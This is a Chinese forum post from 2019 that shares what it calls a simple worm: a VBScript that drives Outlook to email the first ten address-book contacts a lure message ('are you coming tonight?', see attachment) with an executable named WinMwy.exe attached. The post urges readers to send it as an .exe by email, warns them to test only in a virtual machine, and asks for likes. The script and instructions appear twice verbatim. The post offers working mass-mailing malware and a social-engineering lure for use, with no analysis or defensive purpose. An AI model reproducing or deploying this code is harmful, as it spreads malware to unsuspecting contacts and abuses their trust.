|
今天给大家发一个简单的蠕虫病毒 |
|
天赋异禀北极光
L1
• 2019-10-15 • 回复 2 • 只看楼主
• 举报
|
喜欢电脑:
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 10
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗？"
Mail.Body="朋友你好：您的朋友xxx给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ "
Mail.Attachments.Add(dir2&"WinMwy.exe")
Mail.Send
Next
ol.Quit
后缀名.exe通过电子邮件发给别人
请在虚拟机里测试，不然后果自负！！！
好用请点赞支持一下不当伸手党！！！
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 10
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗？"
Mail.Body="朋友你好：您的朋友xxx给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ "
Mail.Attachments.Add(dir2&"WinMwy.exe")
Mail.Send
Next
ol.Quit
后缀名.exe通过电子邮件发给别人
请在虚拟机里测试，不然后果自负！！！
好用请点赞支持一下不当伸手党！！！
